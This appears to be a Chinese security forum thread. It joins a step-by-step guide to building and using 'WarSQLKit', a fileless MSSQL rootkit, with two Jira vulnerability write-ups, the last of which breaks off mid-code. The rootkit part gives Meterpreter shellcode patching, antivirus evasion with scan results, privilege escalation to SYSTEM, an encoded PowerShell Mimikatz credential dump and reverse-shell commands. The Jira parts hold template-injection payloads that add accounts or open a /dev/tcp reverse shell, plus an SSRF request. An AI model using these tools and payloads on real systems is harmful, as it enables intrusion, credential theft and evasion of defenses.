我定义了一个if条件来检查我们设置为Int32的端口值。因此,如果输入的端口号大于256,我们的条件将起作用,并且我们将进行计算。如果端口大于256,则将第一个输入的端口除以256,然后将结果的数字分配给一个int变量。然后,我们定义一个类型为int的第二个变量来计算乘数和,然后将256乘以从之前一个值获得的int变量值。 在计算乘数之后,我们从设置的端口中减去第二个变量的值,并将其分配给第三个int变量。然后,我们定义另一个if条件,并将输入的端口值与计算得出的端口值进行比较。如果满足条件,则将结果值分配给我们先前定义的字节类型的端口变量。 这部分可能看起来有些复杂。为了清楚起见,我将进行采样。例如,我们希望meterpreter从端口4444返回给我们。在我们的shellcode中,为该端口保留了2个字节的字段,我们需要设置此字段。我们发现数字4444/256 = 17 17 * 256 = 4352。我们发现4444-4352 = 92。因此,我们需要在shellcode中为4444端口定义数字17和92。17字节(十六进制)类型对应于0x11,而92字节类型对应于0x5c。例如,端口57156将为:57156/256 = 223,223 * 256 = 57088、57156-57088 = 68,并且等效项将为0xdf和0x044。在我们的Shellcode中,我们需要将它们分配给与端口值相对应的字节变量。 例如,我们的IP地址192.168.139.129将对应于我们的shellcode中的0xc0、0xa8、0x8b,0x81。现在我们需要在shellcode中更改这些变量。使用我指定的参数,我们将从msfvenom生成的shellcode将始终以相同的变量顺序生成。字节数组中的IP和端口信息如下。 我们可以看到在字节数组编号174、175、176和177中设置的IP地址被保留。我在上面提到了端口计算。我们可以看到端口4444对应于17和92。我们的端口位于181和182字节。更改字节数组中作为参数发送的IP和端口的字段就足够了。 buf[174] = octByte1; buf[175] = octByte2; buf[176] = octByte3; buf[177] = octByte4; buf[181] = port1Byte; buf[182] = port2Byte; 如上所述,我们在Shellcode中设置IP和端口值。到目前为止,一切正常。现在,我们需要返回StoredProcedure.cs并进行定义,该定义将调用我们的Meterpreter shellcode。因此,当我们从MSSQL运行类似“ EXEC sp_cmdExec'sp_meterpreter_reverse_tcp 192.168.139.129 4444“的命令时,请调用我们的SaveReverseMeterpreter(字符串ip,字符串端口)方法。 通过在CmdExec中定义if条件,如果发送的命令包含“ sp_meterpreter_reverse_tcp”,则应将命令拆分为空格。然后,我们通过调用MeterpreterBuilder类来设置Ip和Port值,从而调用SaveReverseMeterpreter()方法。现在我们的代码已经准备好了。我们将在不使用Visual Studio的情况下使用.NET Framework,在MSSQL服务器上编译这些代码,并构建Meterpreter exe。这将绕过运行shellcode的“ sqlservr.execalstlrma” 0x08 使用.NET Framework从MSSQL编译C#代码(不使用Visual Studio) 在本节中,我将把Meterpreter的shellcode转换为csharp(.cs)文件,将阐述在SQL Server上运行的代码。需要重新排列在第7部分中创建的shellcode作为控制台应用程序。 我将以控制台应用程序的形式将shellcode填充到var(string)类型的变量中。并需要将此字符串数据写入到我们在SQL Server中具有写权限的目录中。我们可以在此过程中使用以下代码。 File.WriteAllText(@"C:\\ProgramData\\meterpreter_reverse_tcp.cs", strMtr); 当我们从SQL Server调用方法时,它将名为meterpreter_reverse_tcp.cs的shellcode保存到C:\ProgramData目录中。保存到SQL Server的文件如下图所示。 我们需要编译在没有Visual Studio的情况下注册到SQL Server的csharp(.cs)文件。为此,只需要在服务器上安装.net框架即可。由于我们已经在研究MSSQL,因此MSSQL具有.Net Framework依赖性。换句话说,服务器上有.Net Framework。在服务器上有.Net Framework,但是有那些版本?我们并不知道。要测试版本,我们正在编写另一种方法,如下图所示。 通过创建类型<string>的通用列表,我们将“C:\Windows\Microsoft.NET\Framework”文件夹中的子目录名称填充到通用列表中。服务器上安装的所有.Net Frameworks都位于此目录中。有了这些信息之后,我们现在就可以构建csharp(.cs)文件。 “ Net csc.exe”文件位于.Net Framework的安装目录中。csc.exe是.net框架附带的csharp编译器。使用此exe,我们可以编译任何.cs文件,而无需使用Visual Studio。我在rootkit中使用的示例编译过程如下。 CMD.EXE / C参数运行所在的目录中安装最新的.NET Framework版本的CSC.EXE ,“/unsafe /platform:x86”使用x86架构来编译,编译的可执行文件输出到“C:\ProgramData\“目录下。命名使用随机名称,然后编译使用随机名称保存在 C:\ProgramData\kaynak 的meterpreter_reverse_tcp.cs文件。 首先“File.Delete(@"C:\ProgramData\" + randomFileName + @"_reverse.cs");” 要求从服务器中删除使用File.Delete创建的.cs文件。然后是(@"C:\Windows\System32\cmd.exe", @" /c C:\ProgramData\" + randomFileName + @"_reverse.exe");”最后,我想运行使用BuildRunMeterprete代码和cmd.exe / c参数创建的Meterpreter exe。 注意:我们需要使用msfconsole的exploit/multi/handler设置windows/meterpreter/reverse_tcp的有效负载,并等待建立连接。 WarSQLKit中通过此方法定义了4个Meterpreter代理。在WarSQLKit中可以使用以下Meterpreter有效负载。 windows/meterpreter/reverse_tcp windows/meterpreter/bind_tcp windows/x64/meterpreter_reverse_tcp windows/meterpreter/reverse_tcp_rc4 提示:我们创建的Meterpreter shellcode将被许多防病毒软件拦截并阻止运行。因此,在下一节“ Meterpreter Shellcode Anti技术”中,我们需要继续介绍如何从防病毒中隐藏我们的Shellcode。 0x09 Meterpreter Shellcode Anti(bypass)技术 不幸的是,我们经典shellcode会被防病毒软件捕获。因此,当我们在考虑如何从防病毒程序中隐藏shellcode时,我们想到了Tolga Sezer用base64编码shellcode并通过将base64转换为shellcode来运行它的方法。 怎么会呢?当我们使用base64对shellcode进行编码时,如何自动更改IP和端口值?尽管这些似乎有些问题,但我们将看到可以用一些简单的方法来解决这一点。首先,我们必须获取shellcode的原始csharp类型和base64编码应用程序,然后更改IP和端口值以再次获取raw,然后应用base64编码并检查更改的部分。因为和前面的示例一样,当我们更改IP和端口重合的字节数组时,base64崩溃了。当然,存在将base64分配到6位四字节数组的问题。因此,我对shellcode的base64输出进行了详尽的回顾。首先,我们应该看一下已编码的shellcode的基本代码。 通过更改IP和端口信息,当我将base64编码重新应用于shellcode时,我看到“ wKiLhmgCANkD ”字符已更改。解码此部分时,我看到“ c0 a8 8b 86 68 02 00 d9 03”。知道此解码值分别对应于“ 192.168.139.134 104 2 0 217 3sır”。换句话说,当我们更改IP和端口时,需要正确设置9个字节以使base64正常运行。前4个字节对应于IP,后2个字节对应于端口。 我们已经为名为shellCodeRaw的字符串变量定义了一个固定的base64值。在不破坏base64的情况下,我们不应更改字符串中输入的IP和端口值。为此,我们需要一个9字节的数组。 我为输入的IP和端口值创建了一个9字节的新数组。前4个字节代表我们设置的IP地址,后2个字节代表端口。当我们使用base64对这9个字节的数组进行编码时,它不会破坏shellcode的base64状态。 我定义了一个名为string和s3的变量。将9字节数组转换为base64字符串。现在,我们有一个与IP和端口变量相对应的base64值。然后定义一个名为newShellCode的字符串变量。通过Replace,我将KwKiLhmgCANkD ile的值更改为我们创建的9字节数组的base64版本。 shellcode的base64已经准备好了。现在它将自动更正输入的IP和端口值,并将它们转换为base64以创建新的base64值。默认情况下,我们无法运行此base64。因此,我们将通过在运行时将base64值转换为字节数组来运行Shellcode。 在此过程中,我们可以在之前定义的“ funcAddr”和“ Marshal.Copy”字段中更改变量名称。 让我们编译CSharp(.cs)代码,创建一个exe,并检查shellcode的捕获状态。我为两个应用程序创建了不同的控制台应用程序。通过测试安装来创建这些控制台应用程序在线防病毒站点。尽管我知道virustotal正在与反病毒供应商共享已发送的应用程序,但我还是安装了它以进行演示和基准测试。 经典字节数组类型Shellcode测试结果 Jotti(5/18):https://virusscan.jotti.org/en-US/filescanjob/kefjrqh37l NoDistribute(6/32):https://nodistribute.com/result/fNvFlayZxHchAizjO3o4n VirusTotal (11/60)::https://www.virustotal.com/#/file/6cf4dec3dc1dc91a21e17a1e3ca106d7a4ebd4fd23b96de71c9490bf8d24897d/detection Base64编码ShellCode的测试结果 Jotti (1/18): https://virusscan.jotti.org/en-US/filescanjob/uesbd8p86z NoDistribute (1/32): https://nodistribute.com/result/W1sUCXO4znfEiITJjhbx6 VirusTotal (3/64): https://www.virustotal.com/#/file/4f9c60b05235dde6e165fa71fa15c6aedbefeb7ef91138c569fe118eb15a2b33/detection 目前,我们仅适用Eset技术,但是,可以使用不同的方法。但基本上,这是我在Rootkit中使用的方法。 0x10 通过RottenPotato(Kumpir.exe)提升权限 在本节中,我假设一切准备就绪。默认情况下,我们已攻击的SQL Server正在以“ NT Service \ MSSQLSERVER”权限运行。换句话说,NT服务管理正在运行一个虚拟帐户类型,该虚拟帐户类型与服务帐户的名称相同。这是Windows操作系统中鲜为人知的权限类型。我们需要从这种类型的权限提升到“ AUT NT AUTHORITY \ SYSTEM”的权限。我已经写了有关提升MS-SQL 2016中的权限文章:http://eyupcelik.com.tr/guvenlik/491-windows-server-ve-mssql-server-2016-privilege-escalatio 通过使用RottenPotato,我们可以执行特权权限升级。但是,Rottenpotato可获得一个Meterpreter会话,并使用隐藏功能来增加此Meterpreter会话的权限。我不喜欢这样,因为我希望在创建的存储过程中输入操作系统命令(而不是Meterpreter会话)能够获得“ SYSTEM”权限。为此使用的Rottenpotato应用程序必须进行一些修改。经过此修改,Rottenpotato被重命名为“ Kumpir 我必须将Kumpir作为字节流嵌入到我们的Rootkit(WarSQLKit)中。当使用“ / RunSytemPriv”参数将任何命令传递到sp_cmdExec存储过程时,它将以exe的形式抛出kumpir.exe的字节流,传入的脚本将通过kumpir.exe传递给系统,并返回命令输出。现在,让我们看看如何传输kumpir字节流 我为Kumpir.exe创建了一个类。在KumpirBytes()方法中定义了一个名为hex的字符串。在此字符串中,定义了kumpir.exe的字节流。然后,我需要将此字节流导出为exe。 我用File.WriteAllBytes导出了Kumpir.exe。但是我有这样的问题,kumpir.exe(Rottenpotato)有3个依赖文件。这些文件是“ Microsoft.VisualStudio.OLE.Interop.dll”,“ NHttp.dll”和“ SharpCifs.dll”。单独读取和输出每个文件作为字节流,然后导出和删除每条命令,将是一项非常长的工作。使用ILMerge,我们将这些依赖项与kumpir.exe合并。但是结果仍然令人差强人意,因为Kumpir.exe的大小已达到727 KB。 727 KB的字节流也将非常大。此外,WarSQLKit.dll(Rootkit)导出的文件大小也非常大。 我们用mpress压缩Kumpir.exe。727 KB kumpir.exe文件已降至283 KB。我们将283 KB的kumpir.exe填充到十六进制可变字节流中。然后,使用“ File.WriteAllBytes uz”,将Kumpir.exe输出到C:\ProgramData目录中。在正常情况下,727 KB是完全够的。它没有被任何防病毒软件捕获。但是,我们压缩的Kumpir.exe文件只有283 KB,只有被Avira可以捕获。 Avira似乎有害,因为Mpress中使用了压缩技术。 参考链接:https://nodistribute.com/result/1jYc9lBu0pqFPg53nm4 0x11 通过Mimikatz获取会话信息 我们将在渗透测试中执行所有这些步骤。但是,由于我们的主要目标是接管域控制器,因此我们需要捕获“ Mimikatz Clear,带有明文密码或最坏的是NTLM密钥。为此,我创建了一个名为RunMimikatz()的方法。我们的应用程序将从Powersploit的GitHub中提取Mimikatz的Powershell模块,并将结果返回给我们。我们可以使用以下代码进行处理。 “Powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m” 到目前为止,一切都还好。但是有一个问题,这个powershell代码可被捕获。因此,我们需要将其转换为base64。 “powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==” 我们的Powershell代码的base64版本将如上所述。不幸的是,在这部分之后,我们面临着不同的问题。我们通过MSSQL运行的Powershell代码没有输出给我们。我们无法获得输出的原因是因为nvarchar不能向我们返回超过4000个字符。Mimikatz的输出将远远大于4000个字符。当我在基于Windows Server 2016的用户登录的MS-SQL Server 2016上运行命令时,mimikatz输出大约22000多个字符的输出。因此,WarSQLKit.dll返回错误消息,因为我无法获得大于4000个字符的输出。为了解决该问题,我决定将Mimikatz输出注册到名为imi mimi.log的临时目录中。对于Powershell编码器 您可以使用https://www.powershellencoder.com。 “RunMimikatz("cmd.exe", "/c powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA== > C:\\\\ProgramData\\\\mimi.log 2>&1");“ 通过在RunMimikatz方法末尾输入值为“> C:\\\\ProgramData\\\\mimi.log 2>&1”,将输出保存到C:\ProgramData目录中,文件名为mimi.log。关键是,我为每个目录使用了4个反斜杠。对于C#字符串的值,2反斜杠表示1反斜杠。当代码传递给powershell时,它将剩余的2个反斜杠值评估为1个反斜杠。因此,当传输到powershell时,4个反斜杠值表示1个反斜杠。我花了大约2-3个小时才找到并解决了这个问题。 使用上面的代码序列,我们通过调用powershell运行Powersploit的Mimikatz模块,并将其注册到C:\ProgramData目录中的mimi.log。我们可以使用命令“ type C:\ProgramData\mimi.log”读取此日志文件。不幸的是,我们不能使用Type命令读取它,因为如上所述,我们的mimi.log文件大于4000个字符。当我想到如何读取它时,我发现可以通过这种方式来解决此问题。我们可以通过DLL将保存的mimi.log文件输出到临时表中。因此,使用select命令,我们可以检索表中的数据,即mimikatz日志。要将结果数据输出到临时表中,我们需要创建一个sqlCommand。 我创建了一个名为GetMimiLog()的方法。我在此方法中添加了2条SQL命令。对于我们的第一条Sql命令,“IF OBJECT_ID('WarSQLKitTemp')IS NOT NULL DROP TABLE WarSQLKitTemp" + Environment.NewLine + "CREATE TABLE dbo.WarSQLKitTemp(mimiLog text);” 输入SQL语句。用这句话,如果有一个名为S WarSQLKitTemp ve的表并且它不为空,并希望将其删除。然后,我们创建一个名为WarSQLKitTemp的表和一个名为mimiLog的文本表。 然后,我创建一个名为mimiLogStr的字符串变量,并通过读取mimi.log文件中的数据将其分配给它。使用参数“insert into WarSQLKitTemp(mimiLog) values(@mimiLog)”,我们还将数据从mimi.log文件输出到WarSQLKitTemp表中。 这是另一个引起注意的地方。 “SqlConnection connection = newSqlConnection("context connection=true")”。对于SqlConnection,我们仅将 “context connection=true”输入为ConnectionString 。我们也没有定义SqlConnection。因为我们的DLL已经在SQL Server上运行,所以我们不需要再次设置诸如数据源,用户ID和密码之类的值。 我们已将mimikatz输出的mimimi.log文件输入到表中。执行完这些命令后,我们可以通过在SQL Server上运行“select * from WarSQLKitTemp”命令来获取mimikatz输出信息。 0x12 文件下载器 对于经典的Rootkit,文件下载器是必需的。为了在WarSQLKit中放置一个File Downloader,因此,我创建了一个名为FileDownloader的类。 我为创建的类定义了一种名为StartDownload(int超时)的方法。并为该方法附带的下载请求创建了WebClient。对于向rootkit的下载请求,我设置了定义“ URL,要保存的目录,超时”。因此,我们将能够将给定地址的文件下载到.Net Framework的WebClient对象指定的目录中。 0x13 WarSQLKit(MSSQL Fileless Rootkit)用户指南 要在SQL Server中定义WarSQLKit.dll,应阅读第5节中标题为“程序集-存储过程-信任关系”的文章。我将根据第5节中的小节继续阐述,从目录alt调用DLL。通过Management Studio连接到SQL Server并运行以下代码。 sp_configure 'clr enabled', 1 GO RECONFIGURE GO ALTER DATABASE master SET TRUSTWORTHY ON; IF (OBJECT_ID('sp_cmdExec') IS NOT NULL) DROP PROCEDURE sp_cmdExec GO IF EXISTS(SELECT * FROM sys.assemblies asmb WHERE asmb.name = N'sp_cmdExec') DROP ASSEMBLY [sp_cmdExec] GO CREATE ASSEMBLY sp_cmdExec FROM 'C:\ProgramData\WarSQLKit.dll' WITH PERMISSION_SET = UNSAFE GO CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME sp_cmdExec.StoredProcedures.CmdExec GO 通过此SQL语句,我们创建了一个名为sp_cmdExec的程序集和一个名为sp_cmdExec的存储过程。 ”EXEC sp_cmdExec'sp_help';” #通过运行该命令,我们可以看到如何使用WarSQLKit。让我们看一下我们的命令。 “EXEC sp_cmdExec'whoami'; # 通过在操作系统中运行“ whoami”命令,它将向我们显示SQL Server正在运行哪些权限。您可以运行任何命令来代替Whoami命令。我们的命令输出如下。 “EXEC sp_cmdExec'whoami /RunSystemPriv';” # 如果在任何操作系统命令的末尾添Run / RunSystemPriv una参数,则将创建Kumpir.exe文件,并通过提升权限来运行我们的命令。可以从下图中看到输出的示例: 如您所见,当将/RunSystemPriv参数赋予whoami命令时,将创建kumpir.exe,并以用户“ NT AUTHORITY\SYSTEM”的权限运行该命令。我将向您展示Windows命令的另一个示例,如下: “EXEC sp_cmdExec'"net user sKyWiPer P@ssw0rd1 /add" /RunSystemPriv';” #使用此命令通过net user命令创建一个名为sKyWiPer的用户,该用户的密码为P@ssw0rd1。我用双引号包含了我的经典Windows命令,后跟/ RunSystemPriv参数。这将通过kumpir.exe并运行我在操作系统上双引号之间包含的命令。 重要说明:WarSQLKit通过将所有非sp_ 命令评估为操作系统命令来尝试执行命令。ozelsp_basinda是我在rootkit中定义的所有特殊参数中的第一个。 “EXEC sp_cmdExec'powershell Get-Acl /RunSystemPS';” 您可以通过WarSQLKit运行任何powershell代码。当您在运行的powershell代码的末尾添加“ /RunSystemPS una”参数时,将使用SYSTEM用户的权限来执行powershell命令。在以下示例中,您可以看到Get-Acl poweshell命令的输出。 “EXEC sp_cmdExec'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem';” 我们可以在WarSQLKit上运行meterpreter有效负载,目前支持4个meterpreter负载。“ Sp_meterpreter_reverse_tcp”向我们返回经典的“windows/meterpreter/reverse_tcp"有效负载。此有效负载需要LHOST和LPORT作为参数。在我们的Kali主机中,通过利用exploit/multi/handler将任何端口更改为列表模式后,我们可以通过WarSQLKit执行反向连接。在命令末尾添加“ GetSystem”参数以允许我们的有效负载以SYSTEM权限进行反向连接。我们的Meterpreter有效负载将通过Kumpir.exe执行,并为我们提供“ NT AUTHORITY\SYSTEM”的权限。如果需要,可以删除GetSystem参数。如果没有GetSystem参数,我们将获得与SQL Server运行的权限的反向连接。示例代码如下: “EXEC sp_cmdExec'sp_meterpreter_reverse_tcp 192.168.139.129 4444 GetSystem';” 注意:在Kali中将有效负载设置为“ exploit/multi/handler”之后,需要为WarSQLKit中可用的所有有效负载输入“ set EXITFUNC none ”。如果不设置此值,则不会收到反向连接。 “EXEC sp_cmdExec'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem';” #使用此命令,您可以在x64架构的服务器上运行reverse_tcp有效负载。 “EXEC sp_cmdExec'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem';” # 使用此命令,您可以在SQL Server上运行RC4类型的meterpreter有效负载。 提示:对于 “windows/meterpreter/reverse_tcp_rc4”有效负载,需要设置“ set RC4PASSWORD warsql ”参数。RC4的密码默认为ars warsql。我们目前无法更改此密码。 “EXEC sp_cmdExec'sp_meterpreter_bind_tcp LPORT GetSystem';” #使用此命令,您可以在SQL Server上运行meterpreter bind_tcp有效负载。作为LPORT,您只需输入要在SQL Server中打开的端口。 “EXEC sp_cmdExec'sp_Mimikatz';” # 使用sp_Mimikatz,可以在服务器上运行mimikatz的Powershell版本。在第11小节中,我更详细地说明了这一点。运行sp_Mimikatz之后,mimikatz日志将平均保存30-60秒间隔输入到mimi.log文件中。我们运行的命令如下 保存Mimikatz输出后,我们需要运行“ select * from WarSQLKitTem ”命令。mimikatz输出如下。 当我们将Mimikatz日志粘贴到任何note应用程序中时,我们将能够以正确的格式查看它们。 “EXEC sp_cmdExec'sp_downloadFile URL Location\file.filetype 300';” #通过为sp_downloadFile提供URL,要保存的目录和超时,我们可以将任何文件下载到SQL Server。我们的命令的示例输出如下 “EXEC sp_cmdExec'sp_getSqlHash';” #使用sp_getSqlHash,我们可以获取MS-SQL用户的哈希。我们的命令输出如下。 “EXEC sp_cmdExec'sp_getProduct';” #使用此命令,我们可以查看SQL Server上运行的操作系统。 “EXEC sp_cmdExec'sp_getDatabases';” # 使用此命令,您可以在SQL Server中检索数据库的名称。 提示:WarSQLKit.dll Rootkit已通过测试,仅在以下系统上成功。除此之外,还没有在任何系统上测试过。 我将使用WarSQLKit兼容版本重新编译WarSQLi v3,并尽快发布。 作业系统 SQL Server版 工作条件 Windows Server 2016 SQL Server 2016 运行平稳 Windows Server 2012 R2 SQL Server 2014 运行平稳 Windows Server 2012 SQL Server 2012 运行平稳 Windows Server 2008 SQL Server 2008 权限升级问题。我将使用Incognito编译一个新版本。 WarSQLKitMinimal.dll(MSSQL Fileless Rootkit)用户指南 在本节中,我将讨论WarSQLKitMinimal版本。 WarSQLKitMinimal是仅运行参数“ EXEC sp_cmdExec'cmd';”的版本。此版本不具有处理任何以“ sp_..开头”的命令的功能。这个6 KB的DLL允许您通过SQL Server将命令发送到操作系统。因此,只有操作系统才能执行命令 WarSQLKit.dll文件的扫描结果如下: Jotti (0/18): https://virusscan.jotti.org/en-US/filescanjob/pfk61amqt4 No Distribute (0/34): https://nodistribute.com/result/3yf58I7hMdZAP6DB Virus Total (0/62): https://www.virustotal.com/#/file/def95c032d1f1e441dfab2d99ce5de61481690eb9d72ffd5ed7c3e2f71b78309/detection WarSQLKit_Compress.dll(Rootkit的压缩文件)的扫描结果如下: Jotti (0/18): https://virusscan.jotti.org/en-US/filescanjob/8s08ge3o0g No Distribute (0/34): https://nodistribute.com/result/tbv1NjPLKf5ErXMxUOg7 Virus Total (1/62): https://www.virustotal.com/#/file/a176fd965e8e7c97dc7e263339c5a6d7c8a42a8c9416a730d3e2528d12c6fdfe/detection 0x14 参考文献 https://technet.microsoft.com/en-US/library/ms187861(v=sql.110).aspx https://autohotkey.com/mpress/mpress_web.htm https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/clr-integration-enabling https://blog.sqlauthority.com/2008/03/14/sql-server-2005-clr/ https://docs.microsoft.com/tr-tr/sql/t-sql/statements/alter-assembly-transact-sql https://msdn.microsoft.com/library/bbdd51b2-a9b4-4916-ba6f-7957ac6c3f33 https://stackoverflow.com/questions/2055788/sql-server-2005-create-assembly-from-stream-with-c-sharp
  9. 0x00 漏洞描述 Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统。该系统主要用于对工作中各类问题、缺陷进行跟踪管理。 Atlassian Jira Server和Jira Data Center存在服务端模板注入漏洞,成功利用此漏洞的攻击者可对运行受影响版本的Jira Server或Jira Data Center的服务器执行任意命令,从而获取服务器权限,严重危害网络资产。 0x01 CVE编号 CVE-2019-11581 0x02 漏洞危害等级 高危 0x03 漏洞影响范围 AtlassianJira 4.4.x AtlassianJira 5.x.x AtlassianJira 6.x.x AtlassianJira 7.0.x AtlassianJira 7.1.x AtlassianJira 7.2.x AtlassianJira 7.3.x AtlassianJira 7.4.x AtlassianJira 7.5.x AtlassianJira 7.6.x < 7.6.14 AtlassianJira 7.7.x AtlassianJira 7.8.x AtlassianJira 7.9.x AtlassianJira 7.10.x AtlassianJira 7.11.x AtlassianJira 7.12.x AtlassianJira 7.13.x < 7.13.5 AtlassianJira 8.0.x < 8.0.3 AtlassianJira 8.1.x < 8.1.2 AtlassianJira 8.2.x < 8.2.3 0x04 漏洞简析 1.利用前提条件: 第一种,未授权代码执行利用条件:Jira已配置好SMTP服务器,且需开启“联系网站管理员表单”功能。(从WEB界面设计上看,实际上如果没配置SMTP服务器,无法开启此功能 第二种利用场景前提是拿到Jira管理员的权限,利用条件较难满足,这里主要分析第一种情况。原因在于atlassian-jira/WEB-INF/classes/com/atlassian/jira/web/action/user/ContactAdministrators 未对Subject(邮件主题)处进行过滤,用户传入的邮件主题被当作template(模板)指令执行。在任何一种情况下,成功利用此漏洞的攻击者都可在运行受影响版本的Jira Server或Jira Data Center的系统上执行任意命令。 2.以下两种url漏洞验证方式: 第一种无需管理员账户权限:http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa 第二种需管理员账户权限:http://10.206.1.8:8080/secure/admin/SendBulkMail!default.jspa 如果出现以下运行版本号则为存在漏洞。 0x05 漏洞复现 1. 漏洞利用条件 联系管理员处必须开启 (需要知道后台管理员账号密码) 2.环境准备: Atlassian JIRAv7.13.0 (以该版本为例,该版本存在漏洞)下载地址: https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe 安装过程不再描述(按照提示进行安装,先在官方注册一个账号然后拿到一个试用期序列号并进行安装),注意,到了邮件配置那一步经尽量选以后(默认就是),然后进入后台配置。 3.确认未登陆状态下漏洞的存在 访问如下URL(无需管理员账户权限): http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa 如果提示如下图,这说明没有配置联系管理员是无法触发漏洞。 请登陆后台开启联系管理员,配置地址如下: http://10.10.20.116:8080/secure/admin/EditApplicationProperties!default.jspa 默认是关闭的,需要配置了STMP发信后才能开启,配置STMP的时候可以测试连接,服务器必须开25端口,不然不能发邮件,下图是开启成功 4.未登陆状态下触发漏洞 访问 http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa 在Subject填入payload,注意,我这里环境是windows机器,所以可以添加账号观察,Linux可以用反弹shell的代码等等,反正换成自己想执行的命令。 $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user bk abc@ABC123 /add').waitFor() 发送了后可能会等一会儿,因为要加入邮件队列。这时候再上服务器执行net user查看,发现正是刚刚执行命令添加的账户。 5. 登陆管理员账号触发漏洞 登陆管理员账号,然后访问如下URL: http://10.206.1.8:8080/secure/admin/SendBulkMail!default.jspa 填入payload,如下,注意执行命令添加账号的账户名 $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user bk01 abc@ABC123 /add').waitFor() linux下可执行: 目标Jira系统可执行的POC $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://www.baidu.com').waitFor() $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('bash -i >& /dev/tcp/攻击者IP/2333 0>&1').waitFor() 攻击者主机执行:nc -lvvp 2333 0x06 漏洞修复 1.临时处置建议 若无法及时升级Jira,可采取以下缓解措施: 1.禁止访问http://ip:port/secure/ContactAdministrators!default.jspa 2.关闭联系网站管理员表单功能,具体步骤如下: 设置 => 系统 => 编辑设置 => 联系管理员表单处选择“关”,然后点击最下面的“更新”保存设置。 编辑设置 关闭联系网站管理员表单功能 2.处置建议 1.升级到不受漏洞影响的版本。 2.对http://ip:port/secure/admin/SendBulkMail!default.jspa限制访问的源ip 0x07 参考文献 https://mp.weixin.qq.com/s/d2yvSyRZXpZrPcAkMqArsw https://mp.weixin.qq.com/s/_Tsq9p1pQyszJt2VaXd61A https://paper.seebug.org/982/ https://www.jianshu.com/p/ddf1233d333f https://github.com/jas502n/CVE-2019-11581 https://www.jianshu.com/p/ddf1233d333f http://ximcx.cn/post-158.html
  10. 0x00 漏洞背景 Jira的/plugins/servlet/gadgets/makeRequest资源存在SSRF漏洞,原因在于JiraWhitelist这个类的逻辑缺陷,成功利用此漏洞的远程攻击者可以以Jira服务端的身份访问内网资源。经分析,此漏洞无需任何凭据即可触发。 0x01 影响范围 < 8.4.0 此漏洞是在Jira服务器7.6.0版中引入的,并在7.13.9和8.4.0版中进行了修复 0x02 漏洞复现 Atlassian JIRAv7.13.0 (以该版本为例,该版本存在漏洞)下载地址: https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe 安装过程不再描述(按照提示进行安装,先在官方注册一个账号然后拿到一个试用期序列号并进行安装)。 通过bupsuit进行请求如下,在响应中可以看到成功探测目标系统存在ssrf漏洞: GET /plugins/servlet/gadgets/makeRequest?url=http://10.206.1.8:[email protected] HTTP/1.1 Host: 10.206.1.8:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchangeb;v=b3 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 X-Atlassian-Token: no-check Connection: close 0x03 漏洞验证 其验证POC如下: import requests import sys # http://http://10.206.1.8:8080/plugins/servlet/gadgets/makeRequest?url=http://10.206.1.8:[email protected]/ def ssrf_poc(url, ssrf_url): if url[-1] == '/': url = url[:-1] else: url = url vuln_url = url + 